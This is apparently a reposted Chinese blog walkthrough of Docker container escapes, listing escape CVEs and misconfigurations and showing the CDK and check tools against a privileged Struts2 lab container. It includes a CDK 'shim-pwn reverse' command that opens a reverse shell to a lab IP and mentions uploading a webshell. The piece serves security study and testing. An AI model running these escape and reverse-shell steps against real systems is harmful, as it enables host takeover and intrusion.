云安全-云原生基于容器漏洞的逃逸自动化手法(CDK check)

0x00 docker逃逸的方法种类

1、不安全的配置:
容器危险挂载(挂载procfs,Scoket) 特权模式启动的提权(privileged)
2、docker容器自身的漏洞
3、linux系统内核漏洞

这里参考Twiki的云安全博客,下列为逃逸的种类与漏洞

https://wiki.teamssix.com/CloudNative/Docker/docker-escape-vulnerability-summary.html
1、Docker 自身漏洞
cve-2017-1002101
cve-2018-1002100
cve-2018-15664 符号链接替换漏洞
cve-2019-14271 加载不受信任的动态链接库
cve-2019-1002101
cve-2019-11246
cve-2019-11249
cve-2019-11251
cve-2019-16884
cve-2019-5736 runc 逃逸
cve-2020-15257 containerd逃逸
cve-2020-27151
kata-escape-2020
cve-2021-25741
cve-2021-30465
cve-2022-0492
#2、内核漏洞
cve-2016-5195 DirtyCow
cve-2017-1000112
cve-2020-14386
cve-2021-22555
cve-2022-0847 DirtyPipe#3、不安全的配置
privileged-container
mount-docker-sock
mount-host-etc
mount-host-procfs
mount-var-log
cap_dac_read_search-container
cap_sys_admin-container

0x01 runC逃逸&&containerd逃逸

上述的两种逃逸类型为docker的漏洞,分别是

CVE-2019-5736 runC容器逃逸
CVE-2020-15257 containerd逃逸

关于docker,runC的关系

Containerd:从容器编排角度,Containerd 是容器运行时。
RunC:RunC 是容器运行工具,纯从系统角度,Runc才是底层运行时 。
Docker:一般指的是 docker-shim,其也是一种容器运行时。

CVE-2019-5736 runC容器逃逸是基于一下两个条件:

Docker version <= 18.09.2
RunC version <= 1.0-rc6

满足下列的版本时候,可以尝试该docker漏洞逃逸提权,详细的实验过程这里不作赘述,相关的操作网上也有大量的文章,但是实际的环境去逃逸,还是就事论事,会有许多的其他情况发生。

CVE-2020-15257 containerd逃逸需要满足的条件为:

containerd < 1.4.3
containerd < 1.3.9
docker存在的漏洞版本:19.03.6~3-0

0x02 自动化检测工具CDK&&check

上面可以看到逃逸的种类的以及其中的方法很多,但是实际环境中,是时间紧任务重,一步步的尝试逃逸难免有些费事,这里列举两种工具,CDK和check,集成了自动逃逸方法检测,CDK还集成了对应的poc实现一键逃逸,
CDK三种使用场景:

Evaluate: 容器内部信息收集,以发现潜在的弱点便于后续利用。 Exploit: 提供容器逃逸、持久化、横向移动等利用方式。
Tool: 修复渗透过程中常用的linux命令以及与Docker/K8s API交互的命令。

CDK的自动化逃逸中包含了挂载,特权等许多的自动化利用,

通过特权模式启动一台漏洞环境,使用CDK检测并且自动化逃逸:
dvwa环境cdk自动化失败:

拉取st2漏洞环境:

docker run --net=host  -it -p 8888:8080 vulhub/struts2:s2-053

获取当前根目录后将木马上传到指定位置,连接格拉斯后上出纳CDK执行命令


执行cdk

逃逸成功

反弹shell:

./cdk_linux_amd64 run shim-pwn reverse 192.168.196.129 1111
反弹失败,暂未找到原因

check工具的检测:
直接上传执行即可,检测可能存在的逃逸提权漏洞

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/157288.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Apache ECharts简介和相关操作

文章目录 一、Apache ECharts介绍二、快速入门1.下载echarts.js文件2.新建index.html文件3.准备一个DOM容器用于显示图表4.完整代码展示5.相关配置 三、演示效果四、总结 一、Apache ECharts介绍 Apache ECharts 是一款基于 Javascript 的数据可视化图表库&#xff0c;提供直观…

【云备份|| 日志 day2】FileUtil JsonUtil

这几天感冒了&#xff0c;稍微落下了进度 util工具 fileUtil&#xff08;文件操作类&#xff09; 在客户端&#xff0c;又或者是在服务端&#xff0c;本质是都是对文件的读写和管理&#xff0c;所以有必要封装一个文件操作类。 class FileUtil{ private:std::string _name; …

【入门Flink】- 02Flink经典案例-WordCount

WordCount 需求&#xff1a;统计一段文字中&#xff0c;每个单词出现的频次 添加依赖 <properties><flink.version>1.17.0</flink.version></properties><dependencies><dependency><groupId>org.apache.flink</groupId><…

python小工具分享:优雅地实现进度条和系统通知

shigen坚持日更的博客写手&#xff0c;擅长Java、python、vue、shell等编程语言和各种应用程序、脚本的开发。坚持记录和分享从业两年以来的技术积累和思考&#xff0c;不断沉淀和成长。 趁着休息的空隙&#xff0c;研究了一下两个比较有意思的脚本&#xff0c;在日常的使用中很…

MySQL用户管理和授权

目录 一.用户管理 1.1.新建用户 1.2.查看用户 1.3.重命名用户rename 1.4.删除用户 1.5.修改当前登录用户密码 1.6.修改其他用户密码 1.7.忘记root 密码并找回 二.数据库用户授权 2.1.all privilege包含的权限 2.2.授予权限 ①允许指定用户查询指定数据库表 ②允许…

初识Vue 输出Hello World 及注意事项

在我们还没接触Vue之前&#xff0c;我同学常说我可以直接在元素里输出JS的表达式吗&#xff1f;肯定是不太行。当我们接触vue.js后&#xff0c;这个想法成了现实。 每当我们学习一门新的语言或者框架时&#xff0c;我们都习惯打印一个“hello world”&#xff0c;在我们vue当中…

Node.js基础-三大模块

文章目录 一、概念对比作用总结 二、fs文件模块三、path路径模块四、http模块服务器相关概念IP地址域名和域名服务器端口号 创建基本的web服务器基本步骤req请求对象res响应对象根据不同的url响应不同的html内容 总结 一、概念 借助浏览器引擎&#xff08;提供BOM&#xff0c;…

【机器学习】一、机器学习概述与模型的评估、选择

机器学习简介 由来 阿瑟.萨缪尔Arthur Samuel,1952年研制了一个具有自学习能力的西洋跳棋程序&#xff0c;1956年应约翰.麦卡锡John McCarthy&#xff08;人工智能之父&#xff09;之邀&#xff0c;在标志着人工智能学科诞生的达特茅斯会议上介绍这项工作。他发明了“机器学习…

系列十五、idea全局配置

一、全局Maven配置 IDEA启动页面>Customize>All settings>Build,Execution,Deployment>Build Tools>Maven 二、全局编码配置 IDEA启动页面>Customize>All settings>Editor>File Encodings 三、全局激活DevTools配置 IDEA启动页面>Customize>A…

python连接clickhouse (CK)

Author: tkhywang 2810248865qq.com Date: 2023-11-01 11:28:58 LastEditors: tkhywang 2810248865qq.com LastEditTime: 2023-11-01 11:36:25 FilePath: \PythonProject02\Python读取clickhouse2 数据库数据.py Description: 这是默认设置,请设置customMade, 打开koroFileHead…

61. 旋转链表、Leetcode的Python实现

博客主页&#xff1a;&#x1f3c6;李歘歘的博客 &#x1f3c6; &#x1f33a;每天不定期分享一些包括但不限于计算机基础、算法、后端开发相关的知识点&#xff0c;以及职场小菜鸡的生活。&#x1f33a; &#x1f497;点关注不迷路&#xff0c;总有一些&#x1f4d6;知识点&am…

Android开发知识学习——Kotlin进阶

文章目录 次级构造主构造器init 代码块构造属性data class相等性解构Elvis 操作符when 操作符operatorLambdainfix 函数嵌套函数注解使用处目标函数简化函数参数默认值扩展函数类型内联函数部分禁用用内联具体化的类型参数抽象属性委托属性委托类委托 Kotlin 标准函数课后题 次…